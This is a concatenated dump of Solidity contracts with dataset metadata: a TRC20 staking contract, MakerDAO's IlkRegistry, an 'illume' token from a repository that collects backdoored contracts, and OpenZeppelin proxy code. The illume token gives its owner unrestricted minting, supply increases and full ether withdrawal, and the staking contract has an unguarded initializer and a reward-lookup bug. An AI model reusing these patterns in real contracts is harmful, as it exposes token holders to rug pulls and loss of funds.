require(recipient != address(0), "TRC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "TRC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "TRC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "TRC20: approve from the zero address");
require(spender != address(0), "TRC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
contract Stake_1 is owned {
using SafeMath for uint256;
/// The token we are selling
SNACK public token;
///fund goes to
address payable beneficiary;
bool public initialized = false;
event Staked(address _staker, uint256 _amount, uint256 _pool);
event UnStaked(address _staker, uint256 _amount, uint256 _pool);
event Harvested(address _staker, uint256 _amount, uint256 _pool);
function initialize(address _token, address payable _beneficiary) public returns (bool) {
require(!initialized, "already initialized");
initialized = true;
token = SNACK(_token);
beneficiary = _beneficiary;
return true;
}
function withdrawal() public returns (bool) {
// Transfer Fund to owner's address
beneficiary.transfer(address(this).balance);
return true;
}
///_________________ Stack Start
struct stakeUserStruct {
bool isExist;
uint256 stake;
uint256 stakeTime;
uint256 harvested;
}
///_________________ 5 % POOL Start
uint256 ROI = 35;
uint256 stakerCount = 0;
mapping (address => stakeUserStruct) public staker;
function stake (uint256 _amount) public returns (bool) {
require (token.balanceOf(msg.sender) >= _amount, "You don't have enough tokens");
require (!staker[msg.sender].isExist, "You already staked");
token.transferFrom(msg.sender, address(this), _amount);
stakeUserStruct memory stakerinfo;
stakerCount++;
stakerinfo = stakeUserStruct({
isExist: true,
stake: _amount,
stakeTime: now,
harvested: 0
});
staker[msg.sender] = stakerinfo;
emit Staked(msg.sender, _amount, 3);
return true;
}
function unstake () public returns (bool) {
require (staker[msg.sender].isExist, "You are not staked");
if(_getCurrentReward(msg.sender) > 0){
_harvest(msg.sender);
}
token.transfer(msg.sender, staker[msg.sender].stake);
emit UnStaked(msg.sender, staker[msg.sender].stake, 3);
stakerCount--;
staker[msg.sender].isExist = false;
staker[msg.sender].stake = 0;
staker[msg.sender].stakeTime = 0;
staker[msg.sender].harvested = 0;
return true;
}
function harvest() public returns (bool) {
_harvest(msg.sender);
return true;
}
function _harvest(address _user) internal {
require(_getCurrentReward(_user) > 0, "Nothing to harvest");
uint256 harvestAmount = _getCurrentReward(_user);
staker[_user].harvested += harvestAmount;
// 2% harvert tax
token.mint(_user, harvestAmount.mul(98).div(100));
emit Harvested(_user, harvestAmount, 3);
}
function getTotalReward () public view returns (uint256) {
return _getTotalReward(msg.sender);
}
function _getTotalReward (address _user) internal view returns (uint256) {
if(staker[_user].isExist){
return uint256(now).sub(staker[_user].stakeTime).mul(staker[_user].stake).mul(ROI).div(1000).div(1 days);
}else{
return 0;
}
}
function getCurrentReward () public view returns (uint256) {
return _getCurrentReward(msg.sender);
}
function _getCurrentReward (address _user) internal view returns (uint256) {
if(staker[msg.sender].isExist){
return uint256(getTotalReward()).sub(staker[_user].harvested);
}else{
return 0;
}
}
///_________________ POOL End
}
| 292,389 | 13,168 |
c40270d6109154e3ebe54f65ab5dc8b04aa6284f1273753e394a1cbad7a44fab
| 15,114 |
.sol
|
Solidity
| false |
270812346
|
makerdao/ilk-registry
|
1d65fb6e17c28e9e94ac88f0d8ccad04d8945f3c
|
src/IlkRegistry.sol
| 4,128 | 14,990 |
// SPDX-License-Identifier: AGPL-3.0-or-later
//
// IlkRegistry.sol -- Publicly updatable ilk registry
//
// Copyright (C) 2021-2022 Dai Foundation
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity ^0.6.12;
interface JoinLike {
function vat() external view returns (address);
function ilk() external view returns (bytes32);
function gem() external view returns (address);
function dec() external view returns (uint256);
function live() external view returns (uint256);
}
interface VatLike {
function wards(address) external view returns (uint256);
function live() external view returns (uint256);
}
interface DogLike {
function vat() external view returns (address);
function live() external view returns (uint256);
function ilks(bytes32) external view returns (address, uint256, uint256, uint256);
}
interface CatLike {
function vat() external view returns (address);
function live() external view returns (uint256);
function ilks(bytes32) external view returns (address, uint256, uint256);
}
interface FlipLike {
function vat() external view returns (address);
function cat() external view returns (address);
}
interface ClipLike {
function vat() external view returns (address);
function dog() external view returns (address);
}
interface SpotLike {
function live() external view returns (uint256);
function vat() external view returns (address);
function ilks(bytes32) external view returns (address, uint256);
}
interface TokenLike {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
contract GemInfo {
function name(address token) external view returns (string memory) {
return TokenLike(token).name();
}
function symbol(address token) external view returns (string memory) {
return TokenLike(token).symbol();
}
}
contract IlkRegistry {
event Rely(address indexed usr);
event Deny(address indexed usr);
event File(bytes32 indexed what, address data);
event File(bytes32 indexed ilk, bytes32 indexed what, address data);
event File(bytes32 indexed ilk, bytes32 indexed what, uint256 data);
event File(bytes32 indexed ilk, bytes32 indexed what, string data);
event AddIlk(bytes32 indexed ilk);
event RemoveIlk(bytes32 indexed ilk);
event UpdateIlk(bytes32 indexed ilk);
event NameError(bytes32 indexed ilk);
event SymbolError(bytes32 indexed ilk);
// --- Auth ---
mapping (address => uint) public wards;
function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); }
function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); }
modifier auth {
require(wards[msg.sender] == 1, "IlkRegistry/not-authorized");
_;
}
VatLike public immutable vat;
GemInfo private immutable gemInfo;
DogLike public dog;
CatLike public cat;
SpotLike public spot;
struct Ilk {
uint96 pos; // Index in ilks array
address join; // DSS GemJoin adapter
address gem; // The token contract
uint8 dec; // Token decimals
uint96 class; // Classification code (1 - clip, 2 - flip, 3+ - other)
address pip; // Token price
address xlip; // Auction contract
string name; // Token name
string symbol; // Token symbol
}
mapping (bytes32 => Ilk) public ilkData;
bytes32[] ilks;
// Initialize the registry
constructor(address vat_, address dog_, address cat_, address spot_) public {
VatLike _vat = vat = VatLike(vat_);
dog = DogLike(dog_);
cat = CatLike(cat_);
spot = SpotLike(spot_);
require(dog.vat() == vat_, "IlkRegistry/invalid-dog-vat");
require(cat.vat() == vat_, "IlkRegistry/invalid-cat-vat");
require(spot.vat() == vat_, "IlkRegistry/invalid-spotter-vat");
require(_vat.wards(cat_) == 1, "IlkRegistry/cat-not-authorized");
require(_vat.wards(spot_) == 1, "IlkRegistry/spot-not-authorized");
require(_vat.live() == 1, "IlkRegistry/vat-not-live");
require(cat.live() == 1, "IlkRegistry/cat-not-live");
require(spot.live() == 1, "IlkRegistry/spot-not-live");
gemInfo = new GemInfo();
wards[msg.sender] = 1;
}
// Pass an active join adapter to the registry to add it to the set
function add(address adapter) external {
JoinLike _join = JoinLike(adapter);
// Validate adapter
require(_join.vat() == address(vat), "IlkRegistry/invalid-join-adapter-vat");
require(vat.wards(address(_join)) == 1, "IlkRegistry/adapter-not-authorized");
// Validate ilk
bytes32 _ilk = _join.ilk();
require(_ilk != 0, "IlkRegistry/ilk-adapter-invalid");
require(ilkData[_ilk].join == address(0), "IlkRegistry/ilk-already-exists");
(address _pip,) = spot.ilks(_ilk);
require(_pip != address(0), "IlkRegistry/pip-invalid");
(address _xlip,,,) = dog.ilks(_ilk);
uint96 _class = 1;
if (_xlip == address(0)) {
(_xlip,,) = cat.ilks(_ilk);
require(_xlip != address(0), "IlkRegistry/invalid-auction-contract");
_class = 2;
}
string memory name = bytes32ToStr(_ilk);
try gemInfo.name(_join.gem()) returns (string memory _name) {
if (bytes(_name).length != 0) {
name = _name;
}
} catch {
emit NameError(_ilk);
}
string memory symbol = bytes32ToStr(_ilk);
try gemInfo.symbol(_join.gem()) returns (string memory _symbol) {
if (bytes(_symbol).length != 0) {
symbol = _symbol;
}
} catch {
emit SymbolError(_ilk);
}
require(ilks.length < uint96(-1), "IlkRegistry/too-many-ilks");
ilks.push(_ilk);
ilkData[ilks[ilks.length - 1]] = Ilk({
pos: uint96(ilks.length - 1),
join: address(_join),
gem: _join.gem(),
dec: uint8(_join.dec()),
class: _class,
pip: _pip,
xlip: _xlip,
name: name,
symbol: symbol
});
emit AddIlk(_ilk);
}
// Anyone can remove an ilk if the adapter has been caged
function remove(bytes32 ilk) external {
JoinLike _join = JoinLike(ilkData[ilk].join);
require(address(_join) != address(0), "IlkRegistry/invalid-ilk");
uint96 _class = ilkData[ilk].class;
require(_class == 1 || _class == 2, "IlkRegistry/invalid-class");
require(_join.live() == 0, "IlkRegistry/ilk-live");
_remove(ilk);
emit RemoveIlk(ilk);
}
// Admin can remove an ilk without any precheck
function removeAuth(bytes32 ilk) external auth {
_remove(ilk);
emit RemoveIlk(ilk);
}
// Authed edit function
function file(bytes32 what, address data) external auth {
if (what == "dog") dog = DogLike(data);
else if (what == "cat") cat = CatLike(data);
else if (what == "spot") spot = SpotLike(data);
else revert("IlkRegistry/file-unrecognized-param-address");
emit File(what, data);
}
// Authed edit function
function file(bytes32 ilk, bytes32 what, address data) external auth {
if (what == "gem") ilkData[ilk].gem = data;
else if (what == "join") ilkData[ilk].join = data;
else if (what == "pip") ilkData[ilk].pip = data;
else if (what == "xlip") ilkData[ilk].xlip = data;
else revert("IlkRegistry/file-unrecognized-param-address");
emit File(ilk, what, data);
}
// Authed edit function
function file(bytes32 ilk, bytes32 what, uint256 data) external auth {
if (what == "class") { require(data <= uint96(-1) && data != 0); ilkData[ilk].class = uint96(data); }
else if (what == "dec") { require(data <= uint8(-1)); ilkData[ilk].dec = uint8(data); }
else revert("IlkRegistry/file-unrecognized-param-uint256");
emit File(ilk, what, data);
}
// Authed edit function
function file(bytes32 ilk, bytes32 what, string calldata data) external auth {
if (what == "name") ilkData[ilk].name = data;
else if (what == "symbol") ilkData[ilk].symbol = data;
else revert("IlkRegistry/file-unrecognized-param-string");
emit File(ilk, what, data);
}
// Remove ilk from the ilks array by replacing the ilk with the
// last in the array and then trimming the end.
function _remove(bytes32 ilk) internal {
// Get the position in the array
uint256 _index = ilkData[ilk].pos;
// Get the last ilk in the array
bytes32 _moveIlk = ilks[ilks.length - 1];
// Replace the ilk we are removing
ilks[_index] = _moveIlk;
// Update the array position for the moved ilk
ilkData[_moveIlk].pos = uint96(_index);
// Trim off the end of the ilks array
ilks.pop();
// Delete struct data
delete ilkData[ilk];
}
// The number of active ilks
function count() external view returns (uint256) {
return ilks.length;
}
// Return an array of the available ilks
function list() external view returns (bytes32[] memory) {
return ilks;
}
// Get a splice of the available ilks, useful when ilks array is large.
function list(uint256 start, uint256 end) external view returns (bytes32[] memory) {
require(start <= end && end < ilks.length, "IlkRegistry/invalid-input");
bytes32[] memory _ilks = new bytes32[]((end - start) + 1);
uint256 _count = 0;
for (uint256 i = start; i <= end; i++) {
_ilks[_count] = ilks[i];
_count++;
}
return _ilks;
}
// Get the ilk at a specific position in the array
function get(uint256 pos) external view returns (bytes32) {
require(pos < ilks.length, "IlkRegistry/index-out-of-range");
return ilks[pos];
}
// Get information about an ilk, including name and symbol
function info(bytes32 ilk) external view returns (string memory name,
string memory symbol,
uint256 class,
uint256 dec,
address gem,
address pip,
address join,
address xlip) {
Ilk memory _ilk = ilkData[ilk];
return (_ilk.name,
_ilk.symbol,
_ilk.class,
_ilk.dec,
_ilk.gem,
_ilk.pip,
_ilk.join,
_ilk.xlip);
}
// The location of the ilk in the ilks array
function pos(bytes32 ilk) external view returns (uint256) {
return ilkData[ilk].pos;
}
// The classification code of the ilk
// 1 - Clipper
// 2 - Flipper
// 3+ - RWA or custom adapter
function class(bytes32 ilk) external view returns (uint256) {
return ilkData[ilk].class;
}
// The token address
function gem(bytes32 ilk) external view returns (address) {
return ilkData[ilk].gem;
}
// The ilk's price feed
function pip(bytes32 ilk) external view returns (address) {
return ilkData[ilk].pip;
}
// The ilk's join adapter
function join(bytes32 ilk) external view returns (address) {
return ilkData[ilk].join;
}
// The auction contract for the ilk
function xlip(bytes32 ilk) external view returns (address) {
return ilkData[ilk].xlip;
}
// The number of decimals on the ilk
function dec(bytes32 ilk) external view returns (uint256) {
return ilkData[ilk].dec;
}
// Return the symbol of the token, if available
function symbol(bytes32 ilk) external view returns (string memory) {
return ilkData[ilk].symbol;
}
// Return the name of the token, if available
function name(bytes32 ilk) external view returns (string memory) {
return ilkData[ilk].name;
}
// Public function to update an ilk's pip and flip if the ilk has been updated.
function update(bytes32 ilk) external {
require(JoinLike(ilkData[ilk].join).vat() == address(vat), "IlkRegistry/invalid-ilk");
require(JoinLike(ilkData[ilk].join).live() == 1, "IlkRegistry/ilk-not-live-use-remove-instead");
uint96 _class = ilkData[ilk].class;
require(_class == 1 || _class == 2, "IlkRegistry/invalid-class");
(address _pip,) = spot.ilks(ilk);
require(_pip != address(0), "IlkRegistry/pip-invalid");
ilkData[ilk].pip = _pip;
emit UpdateIlk(ilk);
}
// Force addition or update of a collateral type. (i.e. for RWA, etc.)
// Governance managed
function put(bytes32 _ilk,
address _join,
address _gem,
uint256 _dec,
uint256 _class,
address _pip,
address _xlip,
string calldata _name,
string calldata _symbol)
external auth {
require(_class != 0 && _class <= uint96(-1), "IlkRegistry/invalid-class");
require(_dec <= uint8(-1), "IlkRegistry/invalid-dec");
uint96 _pos;
if (ilkData[_ilk].class == 0) {
require(ilks.length < uint96(-1), "IlkRegistry/too-many-ilks");
ilks.push(_ilk);
_pos = uint96(ilks.length - 1);
emit AddIlk(_ilk);
} else {
_pos = ilkData[_ilk].pos;
emit UpdateIlk(_ilk);
}
ilkData[ilks[_pos]] = Ilk({
pos: _pos,
join: _join,
gem: _gem,
dec: uint8(_dec),
class: uint96(_class),
pip: _pip,
xlip: _xlip,
name: _name,
symbol: _symbol
});
}
function bytes32ToStr(bytes32 _bytes32) internal pure returns (string memory) {
bytes memory _bytesArray = new bytes(32);
for (uint256 i; i < 32; i++) {
_bytesArray[i] = _bytes32[i];
}
return string(_bytesArray);
}
}
| 65,173 | 13,169 |
2dd6279ccf9ed034ba3c4094105525c5352982130aab332f2b1741948a8ab1c4
| 10,931 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xc5005344d52758ee2264be257a198b50f884711b.sol
| 2,638 | 9,986 |
//Website:/https://illumetech.site/
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract illume is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "illume";
string public constant symbol = "ILT";
uint public constant decimals = 18;
uint public deadline = now + 50 * 1 days;
uint public round2 = now + 40 * 1 days;
uint public round1 = now + 20 * 1 days;
uint256 public totalSupply = 10000000000e18;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether
uint256 public tokensPerEth =20000000e18;
uint public target0drop = 5000;
uint public progress0drop = 0;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 2000000000e18;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 100;
uint256 bonusCond2 = 1 ether / 10;
uint256 bonusCond3 = 1 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 30 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 50 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 30 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 10000e18;
if (Claimed[investor] == false && progress0drop <= target0drop) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require(msg.value >= requestMinimum);
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if(now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require(msg.value >= requestMinimum);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 144,626 | 13,170 |
b40b05ad4894dbc4dce3ebbad417ccc968850da26132c65a9ca566e42e2bc599
| 29,462 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/9b/9b275f85a71e7412c0860c7d2802d53f1fca924f_VaultProxy.sol
| 3,185 | 13,019 |
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
// OpenZeppelin Contracts v4.4.1 (proxy/transparent/TransparentUpgradeableProxy.sol)
// OpenZeppelin Contracts v4.4.1 (proxy/ERC1967/ERC1967Proxy.sol)
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol)
abstract contract Proxy {
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _implementation() internal view virtual returns (address);
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {}
}
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol)
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
interface IBeacon {
function implementation() external view returns (address);
}
// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol)
interface IERC1822Proxiable {
function proxiableUUID() external view returns (bytes32);
}
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _upgradeToAndCall(address newImplementation,
bytes memory data,
bool forceCall) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
function _upgradeToAndCallUUPS(address newImplementation,
bytes memory data,
bool forceCall) internal {
// Upgrades from old implementations will perform a rollback test. This test requires the new
// implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing
// this special case will break upgrade paths from old UUPS implementation to new ones.
if (StorageSlot.getBooleanSlot(_ROLLBACK_SLOT).value) {
_setImplementation(newImplementation);
} else {
try IERC1822Proxiable(newImplementation).proxiableUUID() returns (bytes32 slot) {
require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID");
} catch {
revert("ERC1967Upgrade: new implementation is not UUPS");
}
_upgradeToAndCall(newImplementation, data, forceCall);
}
}
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract");
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
function _upgradeBeaconToAndCall(address newBeacon,
bytes memory data,
bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}
